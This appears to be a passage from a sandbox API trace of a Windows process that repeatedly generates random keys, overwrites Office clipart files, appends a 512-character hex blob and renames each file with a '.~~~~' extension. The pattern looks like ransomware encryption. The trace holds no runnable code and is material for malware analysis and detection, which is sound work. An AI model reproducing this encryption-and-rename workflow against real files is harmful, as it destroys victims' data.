	[0090.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f8f22f0, dwHighDateTime=0x1d60e1e)) 
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3801c8
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3801c8 | out: hHeap=0x300000) returned 1
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0090.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.233] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.233] GetLastError () returned 0x0
	[0090.234] GetLastError () returned 0x0
	[0090.234] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.234] GetLastError () returned 0x0
	[0090.234] GetLastError () returned 0x0
	[0090.253] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff3e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.253] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xc20, lpOverlapped=0x0) returned 1
	[0090.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.254] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.254] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.254] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.255] CloseHandle (hObject=0x11c) returned 1
	[0090.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.~~~~")) returned 1
	[0090.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.256] GetLastError () returned 0x0
	[0090.256] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.257] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.257] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.257] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21024709024) returned 1
	[0090.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f93e5b0, dwHighDateTime=0x1d60e1e)) 
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3802a8
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3802a8 | out: hHeap=0x300000) returned 1
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6c68
	[0090.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.257] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.258] GetLastError () returned 0x0
	[0090.258] GetLastError () returned 0x0
	[0090.258] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.258] GetLastError () returned 0x0
	[0090.258] GetLastError () returned 0x0
	[0090.260] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffea34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.260] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x15cc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x15cc, lpOverlapped=0x0) returned 1
	[0090.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.260] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.260] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.260] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.260] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.260] CloseHandle (hObject=0x11c) returned 1
	[0090.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.~~~~")) returned 1
	[0090.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.261] GetLastError () returned 0x0
	[0090.262] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.262] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.262] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.262] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21025257687) returned 1
	[0090.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f93e5b0, dwHighDateTime=0x1d60e1e)) 
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3802e0
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3802e0 | out: hHeap=0x300000) returned 1
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870008
	[0090.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.263] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.263] GetLastError () returned 0x0
	[0090.263] GetLastError () returned 0x0
	[0090.263] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.263] GetLastError () returned 0x0
	[0090.264] GetLastError () returned 0x0
	[0090.266] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff23c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.266] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xdc4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xdc4, lpOverlapped=0x0) returned 1
	[0090.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.267] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.267] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.267] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.267] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.267] CloseHandle (hObject=0x11c) returned 1
	[0090.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d02b8
	[0090.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.~~~~")) returned 1
	[0090.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.268] GetLastError () returned 0x0
	[0090.268] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.282] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.282] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.282] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21027261830) returned 1
	[0090.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f964710, dwHighDateTime=0x1d60e1e)) 
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380318
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380318 | out: hHeap=0x300000) returned 1
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0090.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28700a0
	[0090.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0090.283] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.283] GetLastError () returned 0x0
	[0090.284] GetLastError () returned 0x0
	[0090.284] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.284] GetLastError () returned 0x0
	[0090.284] GetLastError () returned 0x0
	[0090.328] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff648, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.328] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x9b8, lpOverlapped=0x0) returned 1
	[0090.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.329] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.329] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.329] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.329] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.329] CloseHandle (hObject=0x11c) returned 1
	[0090.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.~~~~")) returned 1
	[0090.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.342] GetLastError () returned 0x0
	[0090.343] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.344] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.344] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.344] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21033411660) returned 1
	[0090.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f9fcc90, dwHighDateTime=0x1d60e1e)) 
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3804a0
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3804a0 | out: hHeap=0x300000) returned 1
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870138
	[0090.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.345] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.345] GetLastError () returned 0x0
	[0090.345] GetLastError () returned 0x0
	[0090.345] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.345] GetLastError () returned 0x0
	[0090.345] GetLastError () returned 0x0
	[0090.367] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff25a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.367] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xda6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0xda6, lpOverlapped=0x0) returned 1
	[0090.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.368] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.368] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.368] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.368] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.368] CloseHandle (hObject=0x11c) returned 1
	[0090.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.~~~~")) returned 1
	[0090.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.369] GetLastError () returned 0x0
	[0090.370] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
